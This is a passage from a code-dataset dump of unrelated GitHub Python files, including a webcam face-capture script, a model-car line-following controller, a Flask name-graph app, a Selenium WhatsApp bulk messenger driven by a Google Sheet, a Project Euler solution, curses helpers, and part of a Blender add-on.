yahoo_scrapper_main')\n","repo_name":"ShaharLer/Super-Performance-Stocks","sub_path":"stocks_tracker/utils/scrapper/yahoo_scrapper.py","file_name":"yahoo_scrapper.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"19387570464","text":"import multiprocessing as mp\nimport threading\nimport random\nimport time\nfrom engine import Engine\n\nfrom event_processes import EventProcess\nfrom scheduler.scheduler import Scheduler\nfrom scheduler.graph import Graph\n\n\ndef main():\n\n e_to_s_recv, e_to_s_send = mp.Pipe(False)\n s_to_e_recv, s_to_e_send = mp.Pipe(False)\n g_to_e_recv, g_to_e_send = mp.Pipe(False)\n\n\n graph = Graph()\n graph.init_file(\"./pickles/graph.pypkle\")\n # pickup_dist, dropoff_dist = generateDistributions()\n\n # start the engine\n engine = Engine(pipe_recv_from_scheduler = s_to_e_recv, pipe_recv_from_gen = g_to_e_recv, pipe_send_to_scheduler = e_to_s_send)\n engine.start()\n\n scheduler = Scheduler(pipe_send_to_engine=s_to_e_send, pipe_recv_from_engine=e_to_s_recv, graph=graph)\n scheduler.start()\n\n\n processes = [EventProcess(g_to_e_send, i, graph) for i in range(1)]\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n engine.join()\n scheduler.join()\n\nif __name__==\"__main__\":\n main()\n","repo_name":"sidharth-potdar/dynamic-bus","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"41237270131","text":"import re\nfrom util import *\nfrom operation import Operation, OperationResult\n\nclass Replacement:\n\tdef __init__(self, regex, substitution):\n\t\tself.regex = regex\n\t\tself.substitution = substitution\n\nclass MinifyOperation(Operation):\n\tdef __init__(self):\n\t\tself.inMultilineComment = False\n\t\tpass\n\n\tdef apply(self, line, state):\n\t\tresult = OperationResult(line, False)\n\n\t\tif not state.args.minify:\n\t\t\treturn result\t\n\n\t\tl = stripComments(line)\n\t\tstrings = scanForStrings(l)\n\t\tcommentStart = len(l)\n\n\t\tstringRegex = r'((\"[^\"]+\")|(|[^\"]*?)([^\\s]*?))?'\n\t\tcomments = r'(?P(|(\\'|//)*$))'\n\n\t\tdef string(s):\n\t\t\tif not s:\n\t\t\t\treturn \"\"\n\t\t\treturn s\n\t\t\n\t\tdef replace(m, group):\n\t\t\tif checkIfInsideString(m.start(group), strings):\n\t\t\t\treturn string(m.group(0)) \n\t\t\treturn string(m.group(1)) + string(m.group(group))\n\t\t\n\t\tops = []\n\t\tops.append(Replacement(re.compile(r'' + stringRegex + '\\s*(?P[=+\\-*/\\><,\\^]{1,2})\\s*'), lambda m: replace(m, \"op\")))\n\t\tops.append(Replacement(re.compile(r'' + stringRegex + r'(?<=\\D)(0)(?P\\.\\d+)'), lambda m: replace(m, \"digit\") ))\n\n\t\t#l = l.lstrip(\"\\t\")\n\n\t\tfor o in ops:\n\t\t\tl = o.regex.sub(o.substitution, l)\n\t\t\t\t\n\t\tl = l.rstrip(\"\\r\\n\")\n\t\tresult.line = strInsert(result.line, 0, commentStart-1, l)\n\n\t\treturn result\n\n","repo_name":"seece/cbpp","sub_path":"minifyoperation.py","file_name":"minifyoperation.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"13720585029","text":"import os\nimport numpy as np\nimport cv2 as cv\n\ndef Take_Photo():\n dataset_path = os.path.curdir + '/' + 'att_faces_jpg/'\n if False == os.path.exists(dataset_path):\n os.mkdir(dataset_path)\n\n print('Do you want take your photo into face database? (Y or N)')\n choice = input();\n if choice.upper() == 'N':\n return;\n\n # find existing person number\n nPerson = 1\n for item in os.listdir(dataset_path):\n itempath = os.path.join(dataset_path, item)\n if os.path.isdir(itempath):\n nPerson += 1\n\n save_dir = os.path.join(dataset_path, 's' + '{0:0>2}'.format(nPerson))\n if False == os.path.exists(save_dir):\n os.mkdir(save_dir)\n\n # Take my photos\n cap = cv.VideoCapture(0)\n cv.namedWindow('My Face')\n # use opencv pre-trianed xml\n facexml = 'D:/Program Files (x86)/Microsoft Visual Studio/Shared/Python36_64/Lib/site-packages/cv2/data/haarcascade_frontalface_default.xml'\n eyexml = 'D:/Program Files (x86)/Microsoft Visual Studio/Shared/Python36_64/Lib/site-packages/cv2/data/haarcascade_eye.xml'\n face_cascade = cv.CascadeClassifier(facexml)\n eye_cascade = cv.CascadeClassifier(eyexml)\n\n nNum = 10 # 10 photos for each person\n i = 1\n while True:\n ret, frame = cap.read()\n cv.imshow('My Face', frame)\n\n key = cv.waitKey(200)\n if key == 0x0D:\n # get my face ROI\n gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n gray = cv.equalizeHist(gray)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n frame_tp = np.zeros(frame.shape, np.uint8)\n frame_tp = frame.copy()\n for (x,y,w,h) in faces:\n cv.rectangle(frame_tp, (x,y), (x + w,y + h), (0,255,0), 2)\n roiGray = gray[y:y + h, x:x + w]\n roiColor = frame[y:y + h, x:x + w]\n cv.imshow('My Face', frame_tp)\n # save face to local file\n if len(faces) > 0:\n (x,y,w,h) = faces[0]\n face = frame[y:y + h,x:x + w]\n cv.imshow('My Face', face)\n face = cv.resize(face, (92,112)) # resize same size with dataset\n savefile = save_dir + '/' + '{0:0>2}'.format(i) + '.jpg'\n if os.path.exists(savefile):\n os.remove(savefile)\n cv.imwrite(savefile, face)\n i += 1\n else:\n print('no face detected...')\n if nNum < i:\n print('Take photo done...')\n break\n \n # Esc to break\n elif key == 0x1B:\n print('quit take photo')\n break;\n\n cap.release()\n cv.destroyAllWindows()\n# function Take_Photo end\n","repo_name":"haoxinqing/FaceDemo","sub_path":"FaceDemo/TakePhoto.py","file_name":"TakePhoto.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71205569673","text":"# Isaac Li\n# 8.31.2018\n\nimport os\nimport cv2\nimport time\nimport socket\nimport numpy as np\nfrom PIL import Image\nfrom sklearn.linear_model import LinearRegression\n\n\nclass Control(object):\n def __init__(self):\n self.data = ''\n self.cap = cv2.VideoCapture(\"http://192.168.1.1:8080/?action=stream\")\n\n host, port = '192.168.1.1', 2001\n self.control = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.control.connect((host, port))\n self.help = 'forward: \"FF000400FF\"' \\\n 'left: \"FF000100FF\"' \\\n 'right: \"FF000200FF\"' \\\n 'backward: \"FF000300FF\"' \\\n 'stop: \"FF000000FF\"' \\\n 'left_speed_slow: \"FF020125FF\" #最后两位数值表示速度,范围0-50' \\\n 'right_speed_slow: \"FF020150FF\"'\n\n def straight(self):\n forward = \"FF000400FF\"\n left_speed = \"FF020150FF\"\n right_speed = \"FF020250FF\"\n forward_bytes = bytes.fromhex(forward)\n left_speed_bytes = bytes.fromhex(left_speed)\n right_speed_bytes = bytes.fromhex(right_speed)\n try:\n self.control.sendall(left_speed_bytes)\n self.control.sendall(right_speed_bytes)\n self.control.sendall(forward_bytes)\n except:\n print(\"error: straight\")\n\n def left(self):\n left = \"FF000100FF\"\n left_speed = \"FF020150FF\"\n right_speed = \"FF020250FF\"\n left_bytes = bytes.fromhex(left)\n left_speed_bytes = bytes.fromhex(left_speed)\n right_speed_bytes = bytes.fromhex(right_speed)\n try:\n self.control.sendall(left_speed_bytes)\n self.control.sendall(right_speed_bytes)\n self.control.sendall(left_bytes)\n except:\n print(\"error: left\")\n\n def right(self):\n right = \"FF000200FF\"\n left_speed = \"FF020150FF\"\n right_speed = \"FF020250FF\"\n right_bytes = bytes.fromhex(right)\n left_speed_bytes = bytes.fromhex(left_speed)\n right_speed_bytes = bytes.fromhex(right_speed)\n try:\n self.control.sendall(left_speed_bytes)\n self.control.sendall(right_speed_bytes)\n self.control.sendall(right_bytes)\n except:\n print(\"error: right\")\n\n def customize(self, left=50, right=50):\n forward = \"FF000400FF\"\n left_speed = f\"FF0201{left}FF\"\n right_speed = f\"FF0202{right}FF\"\n forward_bytes = bytes.fromhex(forward)\n left_speed_bytes = bytes.fromhex(left_speed)\n right_speed_bytes = bytes.fromhex(right_speed)\n try:\n self.control.sendall(left_speed_bytes)\n self.control.sendall(right_speed_bytes)\n self.control.sendall(forward_bytes)\n except:\n print(\"error: customize\")\n\n def stop(self):\n stop = \"FF000000FF\"\n stop_bytes = bytes.fromhex(stop)\n try:\n self.control.sendall(stop_bytes)\n except:\n print(\"error: stop\")\n\n def get_picture(self):\n while True:\n flag, frame = self.cap.read()\n if flag:\n break\n return cv2.flip(frame, 1)\n\n def finish(self):\n self.stop()\n self.cap.release()\n\n def end(self):\n self.finish()\n current_time = time.asctime().replace(':', '-').replace(' ', '_')\n with open(f'data_{current_time}.log', 'w') as file_object:\n file_object.write(self.data)\n\n\nprint(\"Set model car status:\\n\"\n \" 1. Car connected\\n\"\n \" 2. Car not connecting\\n\"\n \" default: [ 1 ]\")\ncar_status = input(' -> ')\n\nif car_status == '2':\n print(\"Set image filename:\\n\"\n \" default: [ x.jpg ]\")\n file = input(' -> ')\n if not file:\n file = 'x.jpg'\n status = False\nelse:\n status = True\n\nprint('\\n========================\\n\\n'\n 'Use Ctrl + C to stop.\\n')\n\ntry:\n while True:\n # ---------- Step 1. Preparation. ------------------------------------------------------------------------------\n\n initial = time.time()\n test_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + '.' + str(int(initial * 1000))[-3:]\n print(f\"{'-' * len(test_time)}\\n\\n{test_time}\\n\")\n\n if status:\n car = Control()\n image = cv2.flip(car.get_picture(), 1)\n else:\n image = cv2.imread(file)\n\n # ---------- Step 2. Color detection. --------------------------------------------------------------------------\n\n def color_detection(im_cv2, rgb_lower, rgb_upper, proportion):\n im = cv2.cvtColor(im_cv2, cv2.COLOR_BGR2RGB)\n im_pil = Image.fromarray(im)\n r_l, g_l, b_l = rgb_lower\n r_u, g_u, b_u = rgb_upper\n\n w, h = im_pil.size\n img_data = im_pil.getdata()\n\n counter = 0\n for _, r_g_b in enumerate(img_data):\n r_i, g_i, b_i = r_g_b\n if all([r_l < r_i < r_u,\n g_l < g_i < g_u,\n b_l < b_i < b_u]):\n counter += 1\n\n if counter > w * h * proportion:\n flag = True\n else:\n flag = False\n return flag\n\n orange = color_detection(image, [130, 60, 20], [170, 90, 40], 0.01)\n print('Color: orange{}Found.'.format(' ' if orange else ' not '))\n\n # ---------- Step 3. Line detection. ---------------------------------------------------------------------------\n\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n edges = cv2.Canny(gray, 100, 250)\n lines = cv2.HoughLinesP(edges, 1, np.pi / 180, 25, minLineLength=100, maxLineGap=100)\n\n hough = np.zeros(image.shape, np.uint8)\n\n if lines is None:\n print('Line: Not found.')\n if status:\n car.straight()\n time.sleep(0.2)\n car.finish()\n continue\n else:\n break\n\n for line in lines:\n x1, y1, x2, y2 = line[0]\n width_of_line = 30 # The width of the redrawn line.\n cv2.line(hough, (x1, y1), (x2, y2), (255, 255, 255), width_of_line)\n\n img = Image.fromarray(np.uint8(hough))\n\n # ---------- Step 4. Crop the picture. -------------------------------------------------------------------------\n\n width, height = img.size\n x, y = [], []\n data = img.getdata()\n for s, rgb in enumerate(data):\n r, g, b = rgb\n if r == g == b == 255:\n yi, xi = divmod(s, width) # 这个是 <--( x > 0 )----.----( x < 0 )-->\n x.append([width/2 - xi]) # 坐标系 |\n y.append(yi) # 示意图 ( k > 0 ) y ( k < 0 )\n\n linear = LinearRegression()\n linear.fit(x, y)\n k, b = linear.coef_[0], linear.intercept_\n print(f'\\nk = {k:g}, b = {b:g}')\n\n if b >= 0:\n case = 'right' if k > 0 else 'left'\n else:\n case = 'straight'\n\n # ---------- Step 5. Data preserve. ----------------------------------------------------------------------------\n\n final = time.time()\n\n print(f\"\\nCase: {case}\"\n f\"\\nTime: {(final - initial)}\\n\")\n\n if status:\n car.data += f'{test_time} # {case:8s}, {final - initial} seconds.'\n\n # ---------- Step 6. Control. --------------------------------------------------------------------------\n\n \" 若返回值为 'straight' 则直行 \"\n \" 若返回值为 'left' 则左转 \"\n \" 若返回值为 'right' 则右转 \"\n\n if status:\n if case == 'straight':\n car.straight()\n elif case == 'left':\n car.left()\n elif case == 'right':\n car.right()\n else:\n car.stop()\n\n time.sleep(0.5)\n car.finish()\n else:\n break\n\nexcept KeyboardInterrupt:\n if status:\n car.end()\n print('Stopped.')\n os.system('pause')\n","repo_name":"bugstop/hitsz-eie-codes","sub_path":"Project2017/pack_0.5/v0.5.5.py","file_name":"v0.5.5.py","file_ext":"py","file_size_in_byte":8183,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"27"} +{"seq_id":"32458455213","text":"from flask import Flask, render_template, request, jsonify\r\nimport csv\r\nimport io\r\nimport random\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nfrom difflib import SequenceMatcher\r\nimport random\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n@app.route('/grafo', methods=['POST'])\r\ndef generar_grafo():\r\n # Obtener la cantidad de nodos ingresada por el usuario\r\n cantidad_nodos = int(request.form['cantidad-nodos'])\r\n nombre_padre = request.form['nombre-padre']\r\n nombre_evitar = request.form['nombre-evitar']\r\n genero = request.form['genero']\r\n\r\n # Leer el archivo CSV\r\n with open('NationalNames.csv', 'r', encoding='utf-8') as file:\r\n csv_reader = csv.reader(file)\r\n next(csv_reader)\r\n\r\n # Crear el grafo y añadir los nodos\r\n grafo = nx.Graph()\r\n contador_nodos = 0\r\n for fila in csv_reader:\r\n nombre = fila[1]\r\n año = int(fila[2])\r\n cant_apariciones = int(fila[4])\r\n genero_nombre = fila[3]\r\n \r\n if genero == 'ambos' or (genero == 'hombre' and genero_nombre == 'M') or (genero == 'mujer' and genero_nombre == 'F'):\r\n if nombre_padre[-3:] in nombre and nombre_evitar[-3:] not in nombre:\r\n grafo.add_node(nombre, año=año, cant_apariciones=cant_apariciones)\r\n contador_nodos += 1\r\n if contador_nodos == cantidad_nodos:\r\n break\r\n\r\n # Calcular la similitud entre nodos y añadir aristas\r\n aristas = []\r\n for nodo1 in grafo.nodes:\r\n for nodo2 in grafo.nodes:\r\n if nodo1 != nodo2:\r\n similitud = calcular_similitud(nodo1, nodo2)\r\n año1 = grafo.nodes[nodo1]['año']\r\n año2 = grafo.nodes[nodo2]['año']\r\n cant_apariciones1 = grafo.nodes[nodo1]['cant_apariciones']\r\n cant_apariciones2 = grafo.nodes[nodo2]['cant_apariciones']\r\n\r\n if similitud > 0.28 and abs(año1 - año2) <= 10 and abs(cant_apariciones1 - cant_apariciones2) <= 1500:\r\n peso = similitud\r\n aristas.append((nodo1, nodo2, peso))\r\n\r\n grafo.add_weighted_edges_from(aristas)\r\n\r\n # Generar el grafo sin puentes\r\n grafo_sin_puentes = kruskal(grafo)\r\n\r\n # Eliminar el atributo de peso en las aristas\r\n for edge in grafo_sin_puentes.edges:\r\n grafo_sin_puentes.edges[edge].pop('weight', None)\r\n\r\n # Obtener nombres más populares\r\n nombres_populares = sorted(grafo.nodes(data=True), key=lambda x: x[1]['cant_apariciones'], reverse=True)[:10]\r\n nombres_populares = [(nombre[0], nombre[1]['cant_apariciones']) for nombre in nombres_populares]\r\n\r\n # Obtener nombres menos populares\r\n nombres_menos_populares = sorted(grafo.nodes(data=True), key=lambda x: x[1]['cant_apariciones'], reverse=False)[:10]\r\n nombres_menos_populares = [(nombre[0], nombre[1]['cant_apariciones']) for nombre in nombres_menos_populares]\r\n\r\n # Generar la imagen del grafo\r\n fig, ax = plt.subplots(figsize=(15, 15))\r\n posiciones = nx.kamada_kawai_layout(grafo_sin_puentes)\r\n nx.draw_networkx(grafo_sin_puentes, pos=posiciones, with_labels=True,\r\n node_size=100, node_color='orange', font_size=8, font_weight='normal',\r\n width=0.5, edge_color='gray', style='solid')\r\n plt.axis('off')\r\n plt.savefig('static/grafo.png')\r\n plt.close()\r\n\r\n # Devolver los nombres populares y la ruta de la imagen generada\r\n respuesta = {'nombres_populares': nombres_populares, 'imagen_grafo': 'static/grafo.png', 'nombres_menos_populares': nombres_menos_populares}\r\n return jsonify(respuesta)\r\n\r\ndef calcular_similitud(nombre1, nombre2):\r\n ultimos_caracteres1 = nombre1[-3:]\r\n ultimos_caracteres2 = nombre2[-3:]\r\n return SequenceMatcher(None, ultimos_caracteres1, ultimos_caracteres2).ratio()\r\n\r\ndef kruskal(grafo):\r\n aristas_ordenadas = sorted(grafo.edges(data=True), key=lambda x: x[2]['weight'])\r\n grafo_arbol = nx.Graph()\r\n\r\n for nodo in grafo.nodes:\r\n grafo_arbol.add_node(nodo)\r\n\r\n for arista in aristas_ordenadas:\r\n nodo1, nodo2, peso = arista\r\n if nx.has_path(grafo_arbol, nodo1, nodo2):\r\n continue\r\n grafo_arbol.add_edge(nodo1, nodo2, weight=peso)\r\n\r\n return grafo_arbol\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"LuVaAcAn/ComplejidadAlgoritmica","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4576,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"17452876634","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium import *\nimport re\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport sys\nimport time\nfrom PIL import Image\nimport random \nimport string\nimport os\nfrom app import *\nfrom pyvirtualdisplay import Display\n\nclass Sender:\n\n def __init__(self, message, name_google_archive, web):\n self.pref = ''.join(random.sample(string.hexdigits, 8))\n self.message = message\n self.name_google_archive = name_google_archive\n self.src_img_qr = None\n self.driver = None\n self.display = Display(visible=0, size=(1024, 768))\n self.web = web\n\n def connect(self):\n self.display.start()\n # Crear el perfil de firefox\n profile = webdriver.FirefoxProfile()\n # Dar las opciones de firefox para permitir el cambio de ventana con contenido en el dom\n profile.set_preference(\"dom.disable_beforeunload\",True)\n profile.set_preference(\"javascript.enabled\", False)\n # Crear el driver con las opciones que deseamos\n self.driver = webdriver.Firefox(profile)\n self.driver.maximize_window()\n # levantar el firefox controlado con la pagina web whatsapp\n try:\n self.driver.get(\"https://web.whatsapp.com/\")\n except:\n return''''''\n\n return ''''''\n\n def get_qr(self):\n try:\n img_qr = self.driver.find_element_by_xpath(\"//img[@alt='Scan me!']\")\n self.src_img_qr = img_qr.get_attribute(\"src\")\n self.driver.get_screenshot_as_file(self.pref+'_screenshot.png')\n pos = img_qr.location\n siz = img_qr.size\n x_i = pos['x'] - 15\n y_i = pos['y'] - 15\n x_f = int(siz['width'] + 15 + pos['x'])\n y_f = int(siz['height'] + 15 + pos['y'])\n img = Image.open(self.pref+'_screenshot.png')\n img2 = img.crop((x_i,y_i,x_f,y_f))\n img2.save(self.pref+'_crop.png')\n return ''''''\n except:\n time.sleep(2)\n return self.get_qr() \n\n def get_new_qr(self):\n change_page = False\n\n while not change_page:\n try:\n refresh_button = self.driver.find_element_by_xpath('//button[@class=\"HnNfm\"]')\n self.driver.close()\n os.remove(self.pref+'_screenshot.png')\n os.remove(self.pref+'_crop.png')\n self.display.stop()\n self.web.bussy = False\n return ''''''\n except:\n pass\n try:\n new_img = self.driver.find_element_by_xpath(\"//img[@alt='Scan me!']\")\n if new_img.get_attribute(\"src\") != self.src_img_qr:\n print(\"change image QR\")\n img_qr = self.driver.find_element_by_xpath(\"//img[@alt='Scan me!']\")\n self.src_img_qr = img_qr.get_attribute(\"src\")\n self.driver.get_screenshot_as_file(self.pref+'_screenshot.png')\n pos = img_qr.location\n siz = img_qr.size\n x_i = pos['x'] - 15\n y_i = pos['y'] - 15\n x_f = int(siz['width'] + 15 + pos['x'])\n y_f = int(siz['height'] + 15 + pos['y'])\n img = Image.open(self.pref+'_screenshot.png')\n img2 = img.crop((x_i,y_i,x_f,y_f))\n img2.save(self.pref+'_crop.png')\n return ''''''\n except:\n change_page = True\n return ''''''\n \n def send_messages(self):\n\n os.remove(self.pref+'_screenshot.png')\n os.remove(self.pref+'_crop.png')\n\n #borra los archivos creados\n\n scope = ['https://spreadsheets.google.com/feeds']\n # se cargan las credenciales del json\n creds = ServiceAccountCredentials.from_json_keyfile_name('client_secret.json', scope)\n client = gspread.authorize(creds)\n # se \"obtiene\" el excel en este script se le pasa el nombre por argumentos en esta version pero cambiando el metodo puede por el link ACORDARSE COMPARTIR EL DOCUMENTO \n # con el usuario que se creo en el client secret o con el usuario de que son las credenciales\n sheet = client.open(self.name_google_archive).sheet1\n # tomar contenido del shet y guardalo en una variable\n list_of_hashes = sheet.get_all_records()\n pat = re.compile(r'\\s+')\n # ciclo \n ind = 2\n for name in list_of_hashes:\n # se crea el mensaje si se quiere \n string = self.message.replace(\"(nombre)\",(name['Nombre']))\n #se reemplaza (nombre) por nombre del contacto\n\n self.driver.get(\"https://web.whatsapp.com/send?phone=\"+str(name['Telefono']))\n\n msg_sended = False\n tried = 0\n while not msg_sended:\n try:\n tried += 1\n inp_xpath = '//div[@class=\"_2S1VP copyable-text selectable-text\"]'\n input_box = self.driver.find_element_by_xpath(inp_xpath)\n # se guarda el cuadro de texto por la class \n input_box.send_keys(string + Keys.ENTER)\n # se manda la tecla enter y un mensaje ya creado\n time.sleep(2)\n msg_sended = True\n sheet.update_acell('C'+str(ind),'Si')\n except:\n if tried > 3:\n msg_sended = True\n sheet.update_acell('C'+str(ind),'No')\n time.sleep(2)\n ind += 1\n # termina el ciclo y se termina la ejecucion del firefox zombie\n self.driver.close()\n self.display.stop()\n self.web.bussy = False\n return ''''''\n\n\n\n\n\n","repo_name":"Techo-Chile/TechoWSP","sub_path":"Sender.py","file_name":"Sender.py","file_ext":"py","file_size_in_byte":6595,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"15270686686","text":"\"\"\"\nAll square roots are periodic when written as continued fractions and can be written in the form:\nsqrt(n) = a0 + (1 / (a1 + (1 / ...\n\n\n(The full problem statement is difficult to reproduce in plain text. See https://projecteuler.net/problem=64 )\n\nExactly four continued fractions, for N <= 13 have an odd period.\nHow many continued fractions for N ≤ 10000 have an odd period?\n\"\"\"\nimport common.continued_fraction as cf\n\nfrom euler import euler_problem\n\n\n@euler_problem()\ndef euler064(n: int | str) -> int:\n max_value = int(n)\n\n # starting values\n counter = 0\n value, base = 1, 0\n\n while value <= max_value:\n if (base + 1) ** 2 == value:\n base += 1\n else:\n frac = cf.cf_for_sqrt(value, base=base)\n\n # Increment counter if period is odd.\n if frac.period % 2 == 1:\n counter += 1\n\n value += 1\n\n return counter\n\n\nif __name__ == '__main__':\n print(euler064(13))\n print(euler064(10_000))\n","repo_name":"gfcharles/euler","sub_path":"python/euler064.py","file_name":"euler064.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"42967602057","text":"import curses\nfrom math import floor\n__author__ = 'Kellan Childers'\n\n\ndef add_title(window, title, window_y=0, bold=True, underline=True, color_scheme=1):\n \"\"\"Add a title centered on a line.\n\n :param window: the window to title\n :param title: the title to add\n :param window_y: the height of the title\n :param bold: whether or not to bold the title (default True)\n :type bold: Boolean\n :param underline: whether or not to underline the title (default True)\n :type underline: Boolean\n :param color_scheme: the scheme to use for coloring the title (default 1)\n :return: null\n \"\"\"\n height, width = window.getmaxyx()\n _, title_x = center(height, width, 1, len(title))\n window.addstr(window_y, title_x, title,\n (curses.A_BOLD if bold else 0) |\n (curses.A_UNDERLINE if underline else 0)|\n (curses.color_pair(color_scheme)))\n window.refresh()\n\n\ndef center(console_height, console_width, window_height, window_width):\n \"\"\"Find point to start window on center.\n\n :param console_height: the height of the console\n :param console_width: the width of the console\n :param window_height: the height of the window\n :param window_width: the width of the window\n :return: a tuple representing the coordinates of the start window\n \"\"\"\n start_y = floor((console_height-window_height)/2)\n start_x = floor((console_width-window_width)/2)\n return start_y, start_x\n\n\ndef color_border(window, start_y, start_x, stop_y, stop_x, color):\n \"\"\"Create a border around a window in a certain color.\n\n :param window: The window to add a border to.\n :param start_y: The y portion of the starting coordinate on the screen\n :param start_x: The x portion of the starting coordinate on the screen\n :param stop_y: The y portion of the ending coordinate on the screen\n :param stop_x: The x portion of the ending coordinate on the scree\n :param color: The color to paint the border\n :return:\n \"\"\"\n try:\n for i in range(start_y, stop_y):\n window.addstr(i, start_x, ' ', curses.color_pair(color))\n window.addstr(i, stop_x, ' ', curses.color_pair(color))\n for i in range(start_x, stop_x):\n window.addstr(start_y, i, ' ', curses.color_pair(color))\n window.addstr(stop_y, i, ' ', curses.color_pair(color))\n # for loops fail to add last element.\n window.addstr(stop_y, stop_x, ' ', curses.color_pair(color))\n except curses.error:\n # curses.error is raised at end of line and can safely be ignored.\n pass\n\n\ndef size_lim(console_height, console_width, bound_height, bound_width):\n \"\"\"Limit the size of a window if the console is over a certain size.\n\n :param console_height: the height of the window\n :param console_width: the width of the window\n :param bound_height: the minimum height to start binding the window\n :param bound_width: the minimum width to start binding the window\n :return: a pair of dimensions for the window\n \"\"\"\n y = console_height if console_height <= bound_height else floor(7*console_height/8)\n x = console_width if console_width <= bound_width else floor(7*console_width/8)\n return y, x\n","repo_name":"Doctor-Gandalf/Agile_Engine","sub_path":"cursesview/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"10441068835","text":"bl_info = {\n \"name\": \"Shader Selector Nodes\",\n \"description\": \"Shader nodes that allow selection of images and textures.\",\n \"author\": \"Omar Emara\",\n \"version\": (1, 0, 0),\n \"blender\": (2, 93, 0),\n \"location\": \"Shader Nodes -> Add Menu -> Add Texture -> Image Selector\",\n \"category\": \"Node\",\n \"warning\": \"This version is still in development.\"\n}\n\nimport bpy\nfrom bpy.props import *\nfrom dataclasses import dataclass\n\ndef updateNodeTree(self, context):\n nodes = context.space_data.node_tree.nodes\n if self.nodeName not in nodes: return\n node = nodes[self.nodeName]\n node.updateNodeTree()\n\nclass ImageListItem(bpy.types.PropertyGroup):\n bl_idname = \"SSN_ImageListItem\"\n\n image: PointerProperty(type = bpy.types.Image, update = updateNodeTree)\n nodeName: StringProperty()\n\nclass ImageUIList(bpy.types.UIList):\n bl_idname = \"SSN_UL_ImageUIList\"\n\n def draw_item(self, context, layout, itemContainer, item, icon, activeContainer,\n activePropertyName, index):\n row = layout.row(align = True)\n row.template_ID(item, \"image\", new = \"image.new\", open = \"image.open\")\n activeIndex = getattr(activeContainer, activePropertyName)\n row.label(icon = \"LAYER_ACTIVE\" if index == activeIndex else \"LAYER_USED\")\n\nclass BaseOperator(bpy.types.Operator):\n nodeName: StringProperty()\n\n def getNode(self, context):\n return context.space_data.node_tree.nodes[self.nodeName]\n\nclass AddImage(BaseOperator):\n bl_idname = \"ssn.add_image\"\n bl_label = \"Add\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n item = node.imageItems.add()\n item.nodeName = self.nodeName\n node.updateNodeTree()\n return{\"FINISHED\"}\n\nclass BrowseImages(BaseOperator):\n bl_idname = \"ssn.browse_images\"\n bl_label = \"Browse\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n \n filter_image: BoolProperty(default=True, options={\"HIDDEN\", \"SKIP_SAVE\"})\n filter_folder: BoolProperty(default=True, options={\"HIDDEN\", \"SKIP_SAVE\"})\n directory: StringProperty(subtype = \"DIR_PATH\")\n files: CollectionProperty(type = bpy.types.OperatorFileListElement,\n options = {\"HIDDEN\", \"SKIP_SAVE\"})\n\n def invoke(self, context, _event):\n context.window_manager.fileselect_add(self)\n return {\"RUNNING_MODAL\"}\n\n def execute(self, context):\n node = self.getNode(context)\n imageItems = node.imageItems\n for imageFile in self.files:\n image = bpy.data.images.load(self.directory + imageFile.name, check_existing = True)\n item = imageItems.add()\n item.image = image\n item.nodeName = self.nodeName\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nclass ClearImages(BaseOperator):\n bl_idname = \"ssn.clear_images\"\n bl_label = \"Clear\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n node.imageItems.clear()\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nclass RemoveImage(BaseOperator):\n bl_idname = \"ssn.remove_image\"\n bl_label = \"Remove\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n node.imageItems.remove(node.activeImageIndex)\n if node.activeImageIndex == len(node.imageItems) and node.activeImageIndex != 0:\n node.activeImageIndex -= 1\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nclass MoveImageUp(BaseOperator):\n bl_idname = \"ssn.move_image_up\"\n bl_label = \"Move Up\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n if (node.activeImageIndex == 0): return {\"FINISHED\"}\n newIndex = node.activeImageIndex - 1\n node.imageItems.move(newIndex, node.activeImageIndex)\n node.activeImageIndex = newIndex\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nclass MoveImageDown(BaseOperator):\n bl_idname = \"ssn.move_image_down\"\n bl_label = \"Move Down\"\n 